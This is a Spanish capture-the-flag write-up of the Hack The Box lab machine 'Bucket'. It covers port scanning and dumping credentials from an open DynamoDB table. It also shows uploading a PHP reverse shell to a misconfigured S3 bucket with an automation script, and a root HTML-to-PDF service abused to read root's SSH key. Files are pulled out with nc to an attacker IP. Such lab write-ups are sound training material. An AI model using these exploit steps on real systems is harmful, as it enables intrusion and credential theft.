Bucket

Resumen: En esta ocasión es una Máquina Linux con dos puertos abiertos ssh:22 y http:80, se descubrió dos servicios de AWS los cuales están mal configurados y nos podemos aprovechar de ellos, posteriormente para la escalada de privilegios se detectó un servicio web corriendo de forma local como root.

Lo primero que hago es realizar un escaneo con nmap para saber los puertos abiertos en el rango del 1-65536.

# Nmap 7.91 scan initiated Sun Feb 28 21:49:27 2021 as: nmap -p- --open -n -T5 -v -oG allPorts 10.10.10.212
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.212 ()	Status: Up
Host: 10.10.10.212 ()	Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Sun Feb 28 21:50:01 2021 -- 1 IP address (1 host up) scanned in 34.05 seconds

Bandera

Descripción

-p-

Escaneo a los 65536 puertos

--open

Reporta solo los puertos con estado "open".

-T5

Exploracion a velocidades insanas (lo hago porque es un entorno de pruebas).

-v

Muestra más información sobre el sondeo que se está realizando.

-oG allPorts

Exporta los resultados en un formato Grepable con el nombre de allPorts.

Posteriormente verificamos las versiones de los servicios y haremos uso de scripts por default.

# Nmap 7.91 scan initiated Sun Feb 28 21:52:43 2021 as: nmap -sCV -p22,80 -oN targeted 10.10.10.212
Nmap scan report for bucket.htb (10.10.10.212)
Host is up (0.080s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Bandera

Descripción

-p22,80

Escaneo a los puertos 22 y 80.

-sC

Escanea con los scripts por defecto.

-sV

Intenta determinar la versión del servicio que se ejecuta en el puerto.

-oN

Exporta los resultados en un formato nmap.

Visitamos http://10.10.10.212/

Añadimos bucket.htb a /etc/hosts.

# echo ”10.10.10.212 bucket.htb” >> /etc/hosts

En el HTML podemos ver que existe una URL hacia un bucket. Lo agregamos s3.bucket.htb a /etc/hosts.

# echo ”10.10.10.212 s3.bucket.htb” >> /etc/hosts

Enumeración de directorios en wfuzz en http://bucket.htb/ y en http://s3.bucket.htb/, solo obtuve resultados s3.bucke.htb

En /health vemos que tiene dos servicios habilitados S3 y DynamoDB.

Ahora que sabemos que servicios se están utilizados, descargamos awscil y la configuramos con nuestra access key. Dejaré algunos enlaces de referencia para el que no haya trabajado con estos servicios de AWS.

  • https://docs.aws.amazon.com/es_es/amazondynamodb/latest/developerguide/Tools.CLI.html

  • https://stackoverflow.com/questions/34668367/how-to-return-items-in-a-dynamodb-on-aws-cli

  • https://docs.aws.amazon.com/es_es/cli/latest/userguide/cli-services-s3-commands.html

Listamos tablas de la base de datos.

# aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/
TABLENAMES      users

Ahora listamos el contenido, hasta este momento no sabía para qué servían con estos datos y me pase a analizar el bucket.

# aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/
None    	3       3
PASSWORD        Management@#1@#
USERNAME        Mgmt
PASSWORD        Welcome123!
USERNAME        Cloudadm
PASSWORD        n2vM-<_K_Q:.Aa2
USERNAME        Sysadm

O usando Python:

import boto3

dynamodb = boto3.resource('dynamodb',endpoint_url='http://s3.bucket.htb/')
table = dynamodb.Table('users')

print(table.creation_date_time)

response = table.scan()
data = response['Items']

while 'LastEvaluatedKey' in response:
   response = table.scan(ExclusiveStartKey=response['LastEvaluatedKey'])
   data.extend(response['Items'])

print(data)

Mostrar bucket, en este caso solo hay uno llamado adserver.

# aws s3 ls --endpoint-url http://s3.bucket.htb/
2021-03-01 11:58:03 adserver

Mostrar objetos.

# aws s3 ls --endpoint-url http://s3.bucket.htb/ s3://adserver/ --recursive
2021-03-01 12:40:03 37840 images/bug.jpg
2021-03-01 12:40:03 51485 images/cloud.png
2021-03-01 12:40:03 16486 images/malware.png
2021-03-01 12:40:03 5344 index.html

Subiendo archivo malicioso para obtener una reverse shell.

# aws s3 cp --endpoint-url http://s3.bucket.htb/ gazetteshell.php s3://adserver/
upload: ./gazetteshell.php to s3://adserver/gazetteshell.php
aws s3 ls --endpoint-url http://s3.bucket.htb/ s3://adserver/
 PRE images/
2021-03-01 12:26:15 5494 gazetteshell.php
2021-03-01 12:26:03 5344 index.html

Realizamos una petición al archivo que hemos subido mediante curl para ejecutar el archivo y obtener una conexión.

curl http://bucket.htb/gazetteshell.php

Como el tiempo para poder ejecutar la reverse shell era variable e inclusive el archivo era borrado después de algunos segundos. Hice el siguiente script para automatizar el proceso que anteriormente se hacía de forma manual.

#!/bin/bash

#Colores
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
redColour="\e[0;31m\033[1m"
blueColour="\e[0;34m\033[1m"
yellowColour="\e[0;33m\033[1m"
purpleColour="\e[0;35m\033[1m"
turquoiseColour="\e[0;36m\033[1m"
grayColour="\e[0;37m\033[1m"


#Uso ./reverseshell s3.bucket.htb gazetteshell.php

HOSTS2=$1
HOST=$(echo $HOSTS2 | cut -d "." -f 2,3)

if [ "`ping -c 3 $HOSTS2 2>/dev/null`" ] ; then
   echo -e "\n${greenColour}[*]${endColour} $HOSTS2, es alcanzable."
   FILE=$2
   if [ -f $2 ]; then
       echo -e "\n${greenColour}[*]${endColour} $FILE, existe."
       bucketName=$(aws s3 ls --endpoint-url http://$HOSTS2/ | cut -d " " -f 3)
       echo -e "\n${greenColour}[*]${endColour} Bucket: ${blueColour}$bucketName${endColour}"
       echo -e "\n${greenColour}[*]${endColour} Contenido del bucket:"
       bucket_content=$(aws s3 ls --endpoint-url http://$HOSTS2/ s3://$bucketName/ --recursive)
       echo -e "\n${blueColour}$bucket_content${endColour}"
       upload=$(aws s3 cp --endpoint-url http://$HOSTS2/ $FILE s3://$bucketName/)
       code=$?
       if [ $code -eq 0 ]; then
           fileinBucket=$(aws s3 ls --endpoint-url http://$HOSTS2/ s3://$bucketName/ --recursive | grep $FILE | sed 's/  */ /g')
           echo -e "\n${greenColour}[*]${endColour} Se ha subido correctamente.\n\n${blueColour}$fileinBucket${endColour}"
           response=$(curl --write-out '%{http_code}\n' --silent --output /dev/null http://$HOST/$FILE)
           while [ responde != "404" ]; do
                   response=$(curl --write-out '%{http_code}\n' --silent --output /dev/null http://$HOST/$FILE)
                   echo -e "\n${greenColour}[*]${endColour} Codigo de estado ${redColour}$response${endColour}"
                   sleep 3
           done
           curl http://$HOST/$FILE
       else
           echo -e "${redColour}[*]${endColour} Error en la subida de $FILE"
       fi
   else
       echo -e "\n${redColour}[X]${endColour} $FILE, no existe."
   fi
else
   echo -e "\n${redColour}[X]${endColour} $1, no es alcanzable."
fi

Basta con ejecutarlo y pasarle como parámetros la url y el archivo en php.

Listando usuarios

Recordando que anteriormente había encontrado tres contraseñas (cuando se analizó DynamoDB), sé probo con el usuario roy y resulto exitoso.

Generamos un par de llaves SSH para mantener conexión de mejor manera. Durante la enumeración de forma manual se detecto un servicio corriendo de forma local, en el puerto 8000.

(netstat -putan || ss -ntpu) | grep "127.0"

Realizamos una petición a este sitio, podemos ver que es un sitio en mantenimiento.

curl http://127.0.0.1:8000/

La página está en el directorio /var/www/bucket-app.

Básicamente existe un servicio web corriendo como root, el cual hace uso de pd4ml, el cual sirve para convertir de HTML a PDF.

Visualizando index.php

  • https://docs.aws.amazon.com/es_es/amazondynamodb/latest/developerguide/GettingStarted.PHP.html

  1. Importa características de AWS en específico de DynamoDb

  2. Si llega una petición post con datos “get_alerts”

  3. Posteriormente creará un nuevo cliente DynamoDBClient

  4. Llama una tabla llamada “alerts” y busca un título con Ransomware.

  5. El contenido de la tabla pasará a utilizarse con Pd4Cmd para ser convertido en pdf y guardarse en /var/www/bucket-app/files/

Para verificar si la tabla “alerts”, se puede hacer de varias formas, utilice Python.

import boto3

dynamodb = boto3.resource('dynamodb',endpoint_url='http://s3.bucket.htb/')
table = dynamodb.Table('alerts')

print(table.creation_date_time)

response = table.scan()
data = response['Items']

while 'LastEvaluatedKey' in response:
   response = table.scan(ExclusiveStartKey=response['LastEvaluatedKey'])
   data.extend(response['Items'])

print(data)

El resultado del script anterior script, podemos ver que dice ”DescribeTable operation: Cannot do operations on a non-existent table”, la tabla no existe por lo tanto debemos de crearla.

Creando la tabla y añadiendo un payload

El siguiente script crea la tabla alerts y a su vez crea un nuevo elemento en ella, recordando el funcionamiento de Pd4Cmd, en put_alerts, debemos de pasarle como parámetro Ransomware seguido de un html, el cual pasará a ser .pdf si hacemos una petición curl. Pero debemos ser rápidos, recuerda que lo creado se borra en cierta cantidad de segundos, pero son los suficientes para poder realizarlo. Haremos una prueba con un HTML para a ver si sirve.

import boto3
from pprint import pprint

# Función para crear una tabla llamada alerts, la cual va a tener los campos de title y data, con tipo de dato String (S), con clave principal en title.
def create_alerts_table(dynamodb=None):
   if not dynamodb:
       dynamodb = boto3.resource('dynamodb', endpoint_url='http://s3.bucket.htb/')

   table = dynamodb.create_table(
       TableName='alerts',
       KeySchema=[
           {
               'AttributeName': 'title',
               'KeyType': 'HASH'
           },
           {
               'AttributeName': 'data',
               'KeyType': 'RANGE'
           }
       ],
       AttributeDefinitions=[
           {
               'AttributeName': 'title',
               'AttributeType': 'S'
           },
           {
               'AttributeName': 'data',
               'AttributeType': 'S'
           },

       ],
       ProvisionedThroughput={
           'ReadCapacityUnits': 10,
           'WriteCapacityUnits': 10
       }
   )
   return table

#Función para crear un nuevo elemento en la tabla
def put_alerts(title, data, dynamodb=None):
   if not dynamodb:
       dynamodb = boto3.resource('dynamodb', endpoint_url='http://s3.bucket.htb/')

   table = dynamodb.Table('alerts')
   response = table.put_item(
      Item={
           'title': title,
           'data': data,
           }
   )
   return response

#Main
if __name__ == '__main__':
   #Crea la tabla
   alerts_table = create_alerts_table()
   print("Table status:", alerts_table.table_status)
   #Crea un nuevo elemento
   alerts_resp = put_alerts("Ransomware","<!DOCTYPEhtml><html><body><h1>My First Heading</h1><p>My firstparagraph.</p></body></html>")
   print("Put alerts succeeded:")
   pprint(alerts_resp, sort_dicts=False)

Los datos han sido creados correctamente.

Vemos que los datos han sido insertados.

Ahora podemos realizar la petición post. Para verificar si se convierte en PDF. Los archivos creados los copio a /tmp porque si se quedan ahí se van a borrar.

# curl -X POST --data ”action=get_alerts” http://127.0.0.1:8000/

Nos enviamos el PDF a nuestra máquina:

nc -l -p 1234 > out.pdf

Servidor:

nc -w 3 10.10.15.101 1234 < result.pdf

Abrimos el PDF, Bingo!, No hay nada interesante, pero debemos de recordar que esto se ejecuta como root, por lo que podemos leer cualquier archivo en el sistema.

Después de un rato y realizando varias veces el proceso podemos obtener la llave ssh, en la ruta /root/.ssh/id_rsa.

Probando conexión.

Last updated

Was this helpful?